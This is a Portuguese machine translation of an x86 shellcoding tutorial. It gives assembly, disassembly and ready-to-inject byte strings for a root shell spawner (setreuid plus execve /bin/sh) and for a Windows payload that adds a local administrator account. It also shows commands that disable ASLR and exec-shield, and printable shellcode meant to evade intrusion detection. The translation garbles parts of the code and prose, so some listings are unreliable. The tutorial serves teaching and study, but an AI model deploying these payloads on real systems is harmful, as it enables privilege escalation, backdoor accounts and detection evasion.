Índice
Alterar registro Perguntas freqüentes Informações básicas Ferramentas necessárias Ferramentas opcionais Shellcoding Linux - Exemplo 1 - Fazendo uma saída rápida - Exemplo 2 - Dizendo Olá - Exemplo 3 - Criando um shell Shell Shell Shell - Exemplo 1 - O sono é fraco - Exemplo 2 - A Mensagem para dizer "Hey" - Exemplo 3 - Adicionando uma Conta Administrativa Métodos Avançados de Shellcoding - Printable Shellcode Conclusão Leitura Adicional / Atribuições
perguntas frequentes
1. O que é shellcoding?Na segurança do computador, codificação de shell em seu sentido mais literal, significa escrever código que irá retornar um shell remoto quando executado. O significado do shellcode evoluiu, agora representa qualquer código de byte que será inserido em uma exploração para realizar a tarefa desejada.
2. Existem toneladas de repositórios de shellcode em toda a internet, por que devo escrever o meu?
Sim, você está correto, há toneladas de repositórios em toda a internet para codificação de shell. Ou seja, o projeto metasploitparece ser o melhor. Escrever um exploit pode ser difícil, o que acontece quando todos os blocos de código pré-escritos deixam de funcionar? Você precisa escrever o seu próprio! Espero que este tutorial lhe dê uma boa vantagem.
3. O que eu preciso saber antes de começar?
Uma compreensão decente da montagem x86, C e conhecimento dos sistemas operacionais Linux e Windows.
4. Quais são as diferenças entre o shellcode do Windows e o shellcode do Linux?
O Linux, ao contrário do Windows, fornece uma maneira direta de interface com o kernel através da interface int 0x80 . Uma listagem completa da tabela Linux syscall pode ser encontrada aqui . O Windows, por outro lado, não possui uma interface direta do kernel. O sistema deve ser interaglado carregando o endereço da função que precisa ser executada a partir de uma DLL (Dynamic Link Library). A diferença fundamental entre os dois é o fato de que o endereço das funções encontradas no Windows variará de versão do sistema operacional para versão do sistema operacional enquanto o int 0x80Os números syscall permanecerão constantes. Os programadores do Windows fizeram isso para que eles pudessem fazer qualquer mudança necessária para o kernel sem qualquer incômodo; O Linux, ao contrário, fixou o sistema de numeração para todas as funções do nível do kernel, e se eles mudassem, haveria um milhão de programadores irritados (e muitos códigos quebrados).
5. Então, e o Windows? Como faço para encontrar os endereços das minhas funções DLL necessárias? Esses endereços não são alterados com cada upgrade do service pack?
Há inúmeras maneiras de encontrar os endereços das funções que você precisa usar em seu shellcode. Existem dois métodos para abordar funções; você pode encontrar a função desejada em tempo de execução ou usar endereços codificados. Este tutorial será principalmentediscuta o método codificado. A única DLL que é garantida para ser mapeada no espaço de endereço do shellcode é kernel32.dll. Esta DLL irá armazenar LoadLibrary e GetProcAddress, as duas funções necessárias para obter qualquer endereço de funções que possa ser mapeado no espaço do processo de explorações. Há um problema com este método, porém, as compensações de endereço serão alteradas com cada nova versão do Windows (service packs, patches etc.). Então, se você usar esse método, seu shellcode SOLO funcionará para uma versão específica do Windows. O endereçamento dinâmico adicional será referenciado no final do documento na seção Leitura adicional.
6. O que é o hype com certeza de que o shellcode não terá nenhum byte NULL nele? Programas normais têm muitos bytes NULL!
Bem, este não é um programa normal! O principal problema surge no fato de que quando o exploit for inserido, será uma string. Como todos sabemos, as seqüências de caracteres são encerradas com um byte NULL (cadeias de estilo C de qualquer forma). Se tivermos um byte NULL em nosso shellcode, as coisas não funcionarão corretamente.
7. Por que meu programa shellcode falha quando eu o executo?
Bem, na maioria dos shellcode, a montagem contida possui algum tipo de qualidades auto modificadoras. Uma vez que estamos trabalhando em sistemas operacionais de modo protegido, o segmento .code da imagem executável é somente leitura. É por isso que o programa shell precisa se copiar para a pilha antes de tentar a execução.
8. Posso entrar em contato com você?
Claro, apenas envie um email para bmllvr6@gmail.com . Não hesite em fazer perguntas, comentários ou corrigir algo que esteja errado neste tutorial.
9. Por que você usou a sintaxe Intel, UGHHH ?!
Eu não sei! Sinceramente, eu prefiro a sintaxe do & t, mas por algum motivo me senti compelido a fazer isso na sintaxe do intel. Eu sinto muito mesmo!
10. Por que o meu programa mantém a segmentação? Sim, leio o item 7 acima, mas AINDA trava.
Você provavelmente está usando um sistema operacional com pilha alocada e espaço de endereço e possivelmente um mecanismo de proteção que o impede de executar código na pilha. Todos os sistemas operacionais baseados em Linux não são os mesmos, então eu apresento uma solução para o Fedora que deve se adaptar facilmente.
echo 0> / proc / sys / kernel / exec-shield # desativá-lo
echo 0> / proc / sys / kernel / randomize_va_space # desativá-lo
echo 1> / proc / sys / kernel / exec-shield # ative-o
echo 1> / proc / sys / kernel / randomize_va_space # ative-o
Informação de fundo
- EAX, EBX, ECX e EDX são todos os registros de uso geral de 32 bits na plataforma x86.
- AH, BH, CH e DH acessam os 16 bits superiores dos GPRs.
- AL, BL, CL e DL acessam os 8 bits inferiores dos GPRs.
- ESI e EDI são usados ao fazer sistemas Linux.
- Syscalls com 6 argumentos ou menos são passados através do GPRs.
- XOR EAX, EAX é uma ótima maneira de encerrar um registro (enquanto fica longe do byte NULL nefasto!)
- No Windows, todos os argumentos de função são passados na pilha de acordo com a convenção de chamada.
Ferramentas necessárias
- gcc
- ld
- nasm
- Objdump
Ferramentas opcionais
- odfhex.c - um utilitário criado por mim para extrair o shellcode de "objdump -d" e transformá-lo em código hexadecimal (muito útil!).
- arwin.c - um utilitário criado por mim para encontrar os endereços absolutos das funções do Windows dentro de uma DLL especificada.
- shellcodetest.c - esta é apenas uma cópia do código c encontrado abaixo. É um pequeno programa de esqueleto para testar shellcode.
- exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm - o código-fonte encontrado neste documento (o shellcode Win32 foi escrito com o Windows XP SP1).
Codificação de shell do Linux
Ao testar o shellcode, é bom apenas fazer isso em um programa e deixá-lo funcionar. O programa C abaixo será usado para testar todo o nosso código./*shellcodetest.c*/
char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Exemplo 1 - Fazendo uma saída rápida
A maneira mais fácil de começar seria demonstrar a saída syscall devido à sua simplicidade. Aqui está um código simples para chamar a saída. Observe o al e XOR truque para garantir que nenhum bytes NULL entrará em nosso código.; exit.asm
[SEÇÃO. Texto]
_start global
_começar:
xor eax, eax; exit is syscall 1
mov, 1; sair é syscall 1
xor ebx, ebx; zero fora ebx
int 0x80
Execute as seguintes etapas para compilar e extrair o código de byte.
steve hanna @ 1337b0x: ~ $ nasm -f elf exit.asm
steve hanna @ 1337b0x: ~ $ ld -o saída exit.o
steve hanna @ 1337b0x: ~ $ objdump -d exiter
exiter: formato de arquivo elf32-i386
Desmontagem da seção .text:
08048080 <_start>:
8048080: b0 01 mov $ 0x1,% al
8048082: 31 db xor% ebx,% ebx
8048084: cd 80 int $ 0x80
Os bytes de que precisamos são b0 01 31 db cd 80 .Substitua o código no topo por:
char code [] = "\ xb0 \ x01 \ x31 \ xdb \ xcd \ x80";
Agora, execute o programa. Temos uma peça bem sucedida de shellcode! Pode-se afastar o programa para garantir que ele esteja chamando de saída.
Exemplo 2 - Saying Hello
Para esta próxima peça, vamos facilitar o caminho para algo útil. Neste bloco de código, você encontrará um exemplo sobre como carregar o endereço de uma string em um pedaço do nosso código em tempo de execução. Isso é importante porque ao executar shellcode em um ambiente desconhecido, o endereço da seqüência de caracteres será desconhecido porque o programa não está sendo executado em seu espaço de endereço normal.; hello.asm
[SEÇÃO. Texto]
_start global
_começar:
jmp short ender
iniciante:
xor eax, eax; limpar os registros
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4; syscall escreve
mov bl, 1; stdout é 1
pop ecx; obter o endereço da string a partir da pilha
mov dl, 5; comprimento da corda
int 0x80
xor eax, eax
mov al, 1; saia do shellcode
xor ebx, ebx
int 0x80
ender:
chamar o iniciador; colocar o endereço da string na pilha
db 'hello'
steve hanna @ 1337b0x: ~ $ nasm -f elf hello.asm
steve hanna @ 1337b0x: ~ $ ld -o olá hello.o
steve hanna @ 1337b0x: ~ $ objdump -d oi
Olá: formato de arquivo elf32-i386
Desmontagem da seção .text:
08048080 <_start>:
8048080: eb 19 jmp 804809b
08048082 <starter>:
8048082: 31 c0 xor% eax,% eax
8048084: 31 db xor% ebx,% ebx
8048086: 31 d2 xor% edx,% edx
8048088: 31 c9 xor% ecx,% ecx
804808a: b0 04 mov $ 0x4,% al
804808c: b3 01 mov $ 0x1,% bl
804808e: 59 pop% ecx
804808f: b2 05 mov $ 0x5,% dl
8048091: cd 80 int $ 0x80
8048093: 31 c0 xor% eax,% eax
8048095: b0 01 mov $ 0x1,% al
8048097: 31 db xor% ebx,% ebx
8048099: cd 80 int $ 0x80
0804809b <ender>:
804809b: e8 e2 ff ff ff chama 8048082
80480a0: 68 65 6c 6c 6f push $ 0x6f6c6c65
Substitua o código no topo com:
char code [] = "\ xeb \ x19 \ x31 \ xc0 \ x31 \ xdb \ x31 \ xd2 \ x31 \ xc9 \ xb0 \ x04 \ xb3 \ x01 \ x59 \ xb2 \ x05 \ xcd" \
"\ x80 \ x31 \ xc0 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 \ xe8 \ xe2 \ xff \ xff \ xff \ x68 \ x65 \ x6c \ x6c \ x6f";
Neste ponto, temos um pedaço totalmente funcional de shellcode que produz para stdout.
Agora que o endereçamento de string dinâmico foi demonstrado, bem como a capacidade de zero
nos registos, podemos passar para um código que nos proporciona um shell.
Exemplo 3 - Criando uma casca
Este código combina o que fizemos até agora. Este código tenta definir privilégios de root se eles são descartados e, em seguida, geram um shell. Nota: o sistema ("/ bin / sh") teria sido muito mais simples certo? Bem, o único problema com essa abordagem é o fato de que o sistema sempre descarta privilégios.Lembre-se ao ler este código:
execve ( const char * filename, const char ** argv, const char ** envp);
Então, o segundo argumento dois espera ponteiros para ponteiros. É por isso que eu carrego o endereço do "/ bin / sh" na memória de string e depois passar o endereço da memória de string para a função. Quando os ponteiros são desreferenciados, a memória alvo será a seqüência "/ bin / sh".
shellex.asm
[SEÇÃO. Texto]
_start global
_começar:
xor eax, eax
mov 70, setreuid é syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
iniciante:
pop ebx; obter o endereço da string
xor eax, eax
mov [ebx + 7], al, coloque um NULL onde o N está na cadeia
mov [ebx + 8], ebx; coloque o endereço da string onde o
AAAA é
mov [ebx + 12], eax; coloque 4 bytes nulos onde o BBBB é
mov al, 11; execve is syscall 11
lea ecx, [ebx + 8]; carregue o endereço de onde a AAAA foi
lea edx, [ebx + 12]; carregar o endereço dos NULLS
int 0x80; chame o kernel, TEMOS UM SHELL!
ender:
chamar o iniciador
db '/ bin / shNAAAABBBB'
steve hanna @ 1337b0x: ~ $ nasm -f elf shellex.asm
steve hanna @ 1337b0x: ~ $ ld -o shellex shellex.o
steve hanna @ 1337b0x: ~ $ objdump -d shellex
shellex: formato de arquivo elf32-i386
Desmontagem da seção .text:
08048080 <_start>:
8048080: 31 c0 xor% eax,% eax
8048082: b0 46 mov $ 0x46,% al
8048084: 31 db xor% ebx,% ebx
8048086: 31 c9 xor% ecx,% ecx
8048088: cd 80 int $ 0x80
804808a: eb 16 jmp 80480a2
0804808c :
804808c: 5b pop% ebx
804808d: 31 c0 xor% eax,% eax
804808f: 88 43 07 mov% al, 0x7 (% ebx)
8048092: 89 5b 08 mov% ebx, 0x8 (% ebx)
8048095: 89 43 0c mov% eax, 0xc (% ebx)
8048098: b0 0b mov $ 0xb,% al
804809a: 8d 4b 08 lea 0x8 (% ebx),% ecx
804809d: 8d 53 0c lea 0xc (% ebx),% edx
80480a0: cd 80 int $ 0x80
080480a2 :
80480a2: e8 e5 ff ff ff chamada 804808c
80480a7: 2f das
80480a8: 62 69 6e limite% ebp, 0x6e (% ecx)
80480ab: 2f das
80480ac: 73 68 jae 8048116
80480ae: 58 pop% eax
80480af: 41 inc% ecx
80480b0: 41 inc% ecx
80480b1: 41 inc% ecx
80480b2: 41 inc% ecx
80480b3: 42 inc% edx
80480b4: 42 inc% edx
80480b5: 42 inc% edx
80480b6: 42 inc% edx
Substitua o código no topo com:
char code [] = "\ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb" \
"\ x16 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x89 \ x5b \ x08 \ x89" \
"\ x43 \ x0c \ xb0 \ x0b \ x8d \ x4b \ x08 \ x8d \ x53 \ x0c \ xcd" \
"\ x80 \ xe8 \ xe5 \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f" \
"\ x73 \ x68 \ x58 \ x41 \ x41 \ x41 \ x41 \ x42 \ x42 \ x42 \ x42";
Este código produz um shell totalmente funcional quando injetado em um exploit
e demonstra a maioria das habilidades necessárias para escrever o shellcode bem sucedido. Estar
Entretanto, quanto melhor, está em montagem, mais funcional, robusto,
e acima de tudo o mal, o código será.
Codificação de shell do Windows
Exemplo 1 - O sono é para os fracos!
Para escrever código bem sucedido, primeiro precisamos decidir quais funções desejamos usar para este shellcode e, em seguida, encontrar seus endereços absolutos. Para este exemplo, queremos apenas um segmento para dormir por uma quantidade de tempo atribuída. Vamos carregar o arwin (encontrado acima) e começar. Lembre-se, o único módulo garantido para ser mapeado no espaço de endereços dos processos é kernel32.dll. Então, para este exemplo, Sleep parece ser a função mais simples, aceitando a quantidade de tempo que o segmento deve suspender como seu único argumento.G: \> arwin kernel32.dll sono
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
O Sleep está localizado em 0x77e61bea no kernel32.dll
; sleep.asm
[SEÇÃO. Texto]
_start global
_começar:
xor eax, eax
mov ebx, 0x77e61bea; endereço do sono
Mov Mach, 5000; Pausa para 5000ms
empurre eax
chamar ebx; Sleep (ms);
steve hanna @ 1337b0x: ~ $ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep dormir: formato de arquivo elf32-i386 Desmontagem da seção .text: 08048080 <_start>: 8048080: 31 c0 xor% eax,% eax 8048082: bb ea 1b e6 77 mov $ 0x77e61bea,% ebx 8048087: 66 b8 88 13 mov $ 0x1388,% ax 804808b: 50 push% eax 804808c: ff d3 call *% ebx Substitua o código na parte superior por: char code [] = "\ x31 \ xc0 \ xbb \ xea \ x1b \ xe6 \ x77 \ x66 \ xb8 \ x88 \ x13 \ x50 \ xff \ xd3";Quando este código é inserido, o thread pai irá suspender por cinco segundos (nota: então, provavelmente, falhará porque a pilha é esmagada neste ponto: - D).
Exemplo 2 - Uma mensagem para dizer "Ei"
Este segundo exemplo é útil no fato de que ele irá mostrar um shellcoder como fazer várias coisas dentro dos limites do shellcoding do Windows. Embora este exemplo não faça nada mais do que aparecer uma caixa de mensagem e dizer "hey", ele demonstra o endereçamento absoluto, bem como o endereçamento dinâmico usando LoadLibrary e GetProcAddress. As funções da biblioteca que estaremos usando são LoadLibraryA, GetProcAddress, MessageBoxA e ExitProcess (nota: A A após o nome da função especifica, estaremos usando um conjunto de caracteres normal, em oposição a um W que significaria um conjunto de caracteres largo, como unicode). Vamos carregar o arwin e encontrar os endereços que precisamos usar. Não iremos recuperar o endereço do MessageBoxA neste momento, vamos carregar dinamicamente esse endereço.G: \> arwin kernel32.dll LoadLibraryA
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
LoadLibraryA está localizado em 0x77e7d961 no kernel32.dll
G: \> arwin kernel32.dll GetProcAddress
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
GetProcAddress está localizado em 0x77e7b332 no kernel32.dll
G: \> arwin kernel32.dll ExitProcess
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
ExitProcess está localizado em 0x77e798fd no kernel32.dll
msgbox.asm
[SEÇÃO. Texto]
_start global
_começar:
eax possui valor de retorno
; ebx mantém os endereços de função
ecx mantém ponteiros de string
; edx irá segurar NULL
xor eax, eax
xor ebx, ebx; zero fora dos registros
xor ecx, ecx
xor edx, edx
jmp short GetLibrary
LibraryReturn:
pop ecx; obter a cadeia da biblioteca
mov [ecx + 10], dl; inserir NULL
mov ebx, 0x77e7d961; LoadLibraryA (nome da biblioteca);
push ecx; início do user32.dll
chamar ebx; eax segura o controle do módulo
jmp short FunctionName
FunctionReturn:
pop ecx; obter o endereço da seqüência de função
xor edx, edx
mov [ecx + 11], dl; insira NULL
pressione ecx
empurre eax
mov ebx, 0x77e7b332; GetProcAddress (hmodule, functionname);
chamar ebx; eax agora possui o endereço de MessageBoxA
mensagem breve do jmp
MessageReturn:
pop ecx; obter a string da mensagem
xor edx, edx
mov [ecx + 3], dl; insira o NULL
xor edx, edx
push edx; MB_OK
pressione ecx; título
push ecx; mensagem
push edx; identificador de janela NULL
chamar eax; MessageBoxA (windowhandle, msg, título, tipo); Endereço
ender:
xor edx, edx
empurre eax
mov eax, 0x77e798fd; exitprocess (exitcode);
Ligue para eax, saia limpa para que não interrompa o programa pai
; o N no final de cada string significa a localização do NULL
caractere que precisa ser inserido
GetLibrary:
ligue para LibraryReturn
db 'user32.dllN'
FunctionName
chamar FunctionReturn
db 'MessageBoxAN'
mensagem
chamar MessageReturn
db 'HeyN'
[steve hanna @ 1337b0x] $ nasm -f elf msgbox.asm; ld -o msgbox msgbox.o; objdump -d msgbox
msgbox: formato de arquivo elf32-i386
Desmontagem da seção .text:
08048080 <_start>:
8048080: 31 c0 xor% eax,% eax
8048082: 31 db xor% ebx,% ebx
8048084: 31 c9 xor% ecx,% ecx
8048086: 31 d2 xor% edx,% edx
8048088: eb 37 jmp 80480c1
0804808a :
804808a: 59 pop% ecx
804808b: 88 51 0a mov% dl, 0xa (% ecx)
804808e: bb 61 d9 e7 77 mov $ 0x77e7d961,% ebx
8048093: 51 push% ecx
8048094: ff d3 call *% ebx
8048096: eb 39 jmp 80480d1
08048098 :
8048098: 59 pop% ecx
8048099: 31 d2 xor% edx,% edx
804809b: 88 51 0b mov% dl, 0xb (% ecx)
804809e: 51 push% ecx
804809f: 50 push% eax
80480a0: bb 32 b3 e7 77 mov $ 0x77e7b332,% ebx
80480a5: ff d3 chamada *% ebx
80480a7: eb 39 jmp 80480e2
080480a9 :
80480a9: 59 pop% ecx
80480aa: 31 d2 xor% edx,% edx
80480ac: 88 51 03 mov% dl, 0x3 (% ecx)
80480af: 31 d2 xor% edx,% edx
80480b1: 52 push% edx
80480b2: 51 push% ecx
80480b3: 51 push% ecx
80480b4: 52 push% edx
80480b5: ff d0 call *% eax
080480b7 :
80480b7: 31 d2 xor% edx,% edx
80480b9: 50 push% eax
80480ba: b8 fd 98 e7 77 mov $ 0x77e798fd,% eax
80480bf: ff d0 call *% eax
080480c1 :
80480c1: e8 c4 ff ff ff chama 804808a
80480c6: 75 73 jne 804813b
80480c8: 65 gs
80480c9: 72 33 jb 80480fe
80480cb: 32 2e xor (% esi),% ch
80480cd: 64 fs
80480ce: 6c insb (% dx),% es: (% edi)
80480cf: 6c insb (% dx),% es: (% edi)
80480d0: 4e dec% esi
080480d1 :
80480d1: e8 c2 ff ff ff chamada 8048098
80480d6: 4d dec% ebp
80480d7: 65 gs
80480d8: 73 73 jae 804814d
80480da: 61 popa
80480db: 67 addr16
80480dc: 65 gs
80480dd: 42 inc% edx
80480de: 6f outsl% ds: (% esi), (% dx)
80480df: 78 41 js 8048122
80480e1: 4e dec% esi
080480e2 :
80480e2: e8 c2 ff ff ff chamada 80480a9
80480e7: 48 dec% eax
80480e8: 65 gs
80480e9: 79 4e jns 8048139
Substitua o código na parte superior por: char code [] = "\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x31 \ xd2 \ xeb \ x37 \ x59 \ x88 \ x51 \ x0a \ xbb \ x61 \ xd9" \ "\ xe7 \ x77 \ x51 \ xff \ xd3 \ xeb \ x39 \ x59 \ x31 \ xd2 \ x88 \ x51 \ x0b \ x51 \ x50 \ xbb \ x32" \ "\ xb3 \ xe7 \ x77 \ xff \ xd3 \ xeb \ x39 \ x59 \ x31 \ xd2 \ x88 \ x51 \ x03 \ x31 \ xd2 \ x52 \ x51" \ "\ x51 \ x52 \ xff \ xd0 \ x31 \ xd2 \ x50 \ xb8 \ xfd \ x98 \ xe7 \ x77 \ xff \ xd0 \ xe8 \ xc4 \ xff" \ "\ xff \ xff \ x75 \ x73 \ x65 \ x72 \ x33 \ x32 \ x2e \ x64 \ x6c \ x6c \ x4e \ xe8 \ xc2 \ xff \ xff" \ "\ xff \ x4d \ x65 \ x73 \ x73 \ x61 \ x67 \ x65 \ x42 \ x6f \ x78 \ x41 \ x4e \ xe8 \ xc2 \ xff \ xff" \ "\ xff \ x48 \ x65 \ x79 \ x4e";Este exemplo, embora não seja útil no fato de que ele apenas exibe uma caixa de mensagem, ilustra vários conceitos importantes ao usar o shellcoding do Windows. O endereçamento estático, como usado na maior parte do exemplo acima, pode ser uma maneira poderosa (e fácil) de acelerar o shellcode de trabalho em poucos minutos. Este exemplo mostra o processo de garantir que determinadas DLLs sejam carregadas em um espaço de processo. Uma vez que o endereço da função MessageBoxA é obtido, o ExitProcess é chamado para garantir que o programa termine sem falhar.
Exemplo 3 - Adicionando uma Conta Administrativa
Este terceiro exemplo é realmente um pouco mais simples do que o shellcode anterior, mas esse código permite que o explorador adicione um usuário ao sistema remoto e dê privilégios administrativos desse usuário. Este código não requer o carregamento de bibliotecas extras no espaço do processo porque as únicas funções que usaremos são WinExec e ExitProcess. Nota: a idéia desse código foi tirada do projeto Metasploit mencionado acima. A diferença entre o shellcode é que esse código é um pouco menor do que a sua contraparte, e pode ser feito ainda mais pequeno, removendo a função ExitProcess!G: \> arwin kernel32.dll ExitProcess
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
ExitProcess está localizado em 0x77e798fd no kernel32.dll
G: \> arwin kernel32.dll WinExec
programa de resolução de endereço arwin - win32 - por steve hanna - v.01
O WinExec está localizado em 0x77e6fd35 no kernel32.dll
; adduser.asm
[Seção .text]
_start global
_começar:
jmp short GetCommand
CommandReturn:
pop ebx; ebx agora segura o identificador para a string
xor eax, eax
empurre eax
xor eax, eax; por algum motivo, os registros podem ser muito voláteis, isso aconteceu apenas no caso
mov [ebx + 89], al; insira o caractere NULL
pressione ebx
mov ebx, 0x77e6fd35
chamar ebx; chamar WinExec (caminho, showcode)
xor eax, eax; zero novamente o registro, limpa winexec retval
empurre eax
mov ebx, 0x77e798fd
chamar ebx; chamar ExitProcess (0);
GetCommand:
, o N no final do db será substituído por um caractere nulo
chamar CommandReturn
db "cmd.exe / c net user NOME DO USUÁRIO PASSWORD / ADD && net localgroup Administrators / ADD USERNAMEN"
steve hanna @ 1337b0x: ~ $ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser
adduser: formato de arquivo elf32-i386
Desmontagem da seção .text:
08048080 <_start>:
8048080: eb 1b jmp 804809d
08048082 :
8048082: 5b pop% ebx
8048083: 31 c0 xor% eax,% eax
8048085: 50 push% eax
8048086: 31 c0 xor% eax,% eax
8048088: 88 43 59 mov% al, 0x59 (% ebx)
804808b: 53 push% ebx
804808c: bb 35 fd e6 77 mov $ 0x77e6fd35,% ebx
8048091: ff d3 call *% ebx
8048093: 31 c0 xor% eax,% eax
8048095: 50 push% eax
8048096: bb fd 98 e7 77 mov $ 0x77e798fd,% ebx
804809b: ff d3 call *% ebx
0804809d :
804809d: e8 e0 ff ff ff chama 8048082
80480a2: 63 6d 64 arpl% pb, 0x64 (% ebp)
80480a5: 2e cs
80480a6: 65 gs
80480a7: 78 65 js 804810e
80480a9: 20 2f e% ch, (% edi)
80480ab: 63 20 arpl% sp, (% eax)
80480ad: 6e outsb% ds: (% esi), (% dx)
80480ae: 65 gs
80480af: 74 20 je 80480d1
80480b1: 75 73 jne 8048126
80480b3: 65 gs
80480b4: 72 20 jb 80480d6
80480b6: 55 push% ebp
80480b7: 53 push% ebx
80480b8: 45 inc% ebp
80480b9: 52 push% edx
80480ba: 4e dec% esi
80480bb: 41 inc% ecx
80480bc: 4d dec% ebp
80480bd: 45 inc% ebp
80480be: 20 50 41 e% dl, 0x41 (% eax)
80480c1: 53 push% ebx
80480c2: 53 push% ebx
80480c3: 57 push% edi
80480c4: 4f dec% edi
80480c5: 52 push% edx
80480c6: 44 inc% esp
80480c7: 20 2f e% ch, (% edi)
80480c9: 41 inc% ecx
80480ca: 44 inc% esp
80480cb: 44 inc% esp
80480cc: 20 26 e% ah, (% esi)
80480ce: 26 20 6e 65 e% ch,% es: 0x65 (% esi)
80480d2: 74 20 je 80480f4
80480d4: 6c insb (% dx),% es: (% edi)
80480d5: 6f outsl% ds: (% esi), (% dx)
80480d6: 63 61 6c arpl% sp, 0x6c (% ecx)
80480d9: 67 72 6f addr16 jb 804814b
80480dc: 75 70 jne 804814e
80480de: 20 41 64 e% al, 0x64 (% ecx)
80480e1: 6d insl (% dx),% es: (% edi)
80480e2: 69 6e 69 73 74 72 61 imul $ 0x61727473,0x69 (% esi),% ebp
80480e9: 74 6f je 804815a
80480eb: 72 73 jb 8048160
80480ed: 20 2f e% ch, (% edi)
80480ef: 41 inc% ecx
80480f0: 44 inc% esp
80480f1: 44 inc% esp
80480f2: 20 55 53 e% dl, 0x53 (% ebp)
80480f5: 45 inc% ebp
80480f6: 52 push% edx
80480f7: 4e dec% esi
80480f8: 41 inc% ecx
80480f9: 4d dec% ebp
80480fa: 45 inc% ebp
80480fb: 4e dec% esi
Substitua o código na parte superior com:
código de caractere [] = "\ xeb \ x1b \ x5b \ x31 \ xc0 \ x50 \ x31 \ xc0 \ x88 \ x43 \ x59 \ x53 \ xbb \ x35 \ xfd \ xe6 \ x77" \
"\ xff \ xd3 \ x31 \ xc0 \ x50 \ xbb \ xfd \ x98 \ xe7 \ x77 \ xff \ xd3 \ xe8 \ xe0 \ xff \ xff \ xff" \
"\ x63 \ x6d \ x64 \ x2e \ x65 \ x78 \ x65 \ x20 \ x2f \ x63 \ x20 \ x6e \ x65 \ x74 \ x20 \ x75 \ x73" \
"\ x65 \ x72 \ x20 \ x55 \ x53 \ x45 \ x52 \ x4e \ x41 \ x4d \ x45 \ x20 \ x50 \ x41 \ x53 \ x53 \ x57" \
"\ x4f \ x52 \ x44 \ x20 \ x2f \ x41 \ x44 \ x44 \ x20 \ x26 \ x26 \ x20 \ x6e \ x65 \ x74 \ x20 \ x6c" \
"\ x6f \ x63 \ x61 \ x6c \ x67 \ x72 \ x6f \ x75 \ x70 \ x20 \ x41 \ x64 \ x6d \ x69 \ x6e \ x69 \ x73" \
"\ x74 \ x72 \ x61 \ x74 \ x6f \ x72 \ x73 \ x20 \ x2f \ x41 \ x44 \ x44 \ x20 \ x55 \ x53 \ x45 \ x52" \
"\ x4e \ x41 \ x4d \ x45 \ x4e";
Quando este código é executado, ele adicionará um usuário ao sistema com a senha especificada e, em seguida, adicionará esse usuário ao grupo Administradores local. Depois que esse código é executado, o processo pai é encerrado ao chamar ExitProcess.Advanced Shellcoding
Esta seção aborda alguns tópicos mais avançados no shellcoding. Ao longo do tempo, espero adicionar um pouco mais de conteúdo aqui, mas, por enquanto, estou muito ocupado. Se você tiver solicitações específicas para tópicos nesta seção, não hesite em me enviar um e-mail.Printable Shellcode
A base para esta seção é o fato de que muitos Sistemas de Detecção de Intrusão detectam shellcode devido aos caracteres não imprimíveis comuns a todos os dados binários. O IDS observa que um pacote contém alguns dados binários (com, por exemplo, um trenó NOP dentro desses dados binários) e, como resultado, pode soltar o pacote. Além disso, muitos programas filtram a entrada, a menos que seja alfanumérico. A motivação por trás do shellcode alfanumérico imprimível deve ser bastante óbvia. Ao aumentar o tamanho do nosso shellcode, podemos implementar um método no qual todo o shellcode bloqueia em caracteres imprimíveis. Esta seção diferirá um pouco dos outros apresentados neste artigo. Esta seção simplesmente demonstrará a tática com pequenos exemplos sem um exemplo final abrangente.Nossa primeira discussão começa com ofuscar o sempre travado trenó NOP. Quando um IDS vê uma série de NOPs arbitrariamente longa (0x90), provavelmente irá soltar o pacote. Para contornar isso, observamos o decremento e incrementar os códigos op.
OP código ASCII Hex
inc eax 0x40 @
inc EBX 0x43 C
inc ecx 0x41 Um
inc EDX 0x42 B
dezembro eax 0x48 H
dezembro EBX 0x4B K
dezembro ecx 0x49 I
dezembro EDX 0x4A J
Deve ser bem óbvio que, se inserimos essas operações em vez de um trenó NOP, o código não afetará a saída. Isso se deve ao fato de que sempre que usamos um registro em nosso shellcode, nós mergulhamos para mover um valor para ele ou nós xor. Aumentar ou diminuir o registro antes do código ser executado não alterará a operação desejada.
Assim, a próxima parte desta seção de shellcode imprimível irá discutir um método para fazer todo o bloco de shellcode alfa-numérico - por meio de alguns dos principais tomfoolers. Devemos primeiro discutir os poucos códigos de barras que se enquadram no intervalo de ascii imprimível (0x33 a 0x7e).
sub eax, 0xHEXINRANGE empurre eax pop eax push esp pop esp e eax, 0xHEXINRANGE
Surpreendentemente, podemos realmente fazer o que quisermos com estas instruções. Eu fiz o meu melhor para manter os diagramas fora desta palestra, mas eu decidi enfeitar o mundo com minha maravilhosa arte ASCII. Abaixo você pode encontrar um diagrama do plano básico para a construção do shellcode.
O plano funciona da seguinte forma: - crie espaço na pilha para shellcode e carregador -executar o código do carregador para construir shellcode Use uma ponte NOP para garantir que não haja bytes externos que travarão nosso código. -lucroMas agora eu ouço você clamando que não podemos usar o movimento nem podemos subtrair de esp porque eles não se encaixam em personagens imprimíveis !!! Resolva, tenho uma solução para você! Vamos usar subtrair para colocar valores em EAX, empurrar o valor para a pilha e, em seguida, entrar em ESP.
Agora você está se perguntando por que eu disse subtrair para colocar valores no EAX, o problema é que não podemos usar o add, e não podemos atribuir bytes não imprimíveis diretamente. Como podemos superar isso? Podemos usar o fato de que cada registro possui apenas 32 bits, portanto, se forçarmos um envolvimento, podemos arbitrariamente atribuir valores a um registro usando apenas caracteres imprimíveis com duas a três instruções de subtração.
Se as engrenagens na sua cabeça ainda não estão em marcha, provavelmente você deve parar de ler agora.
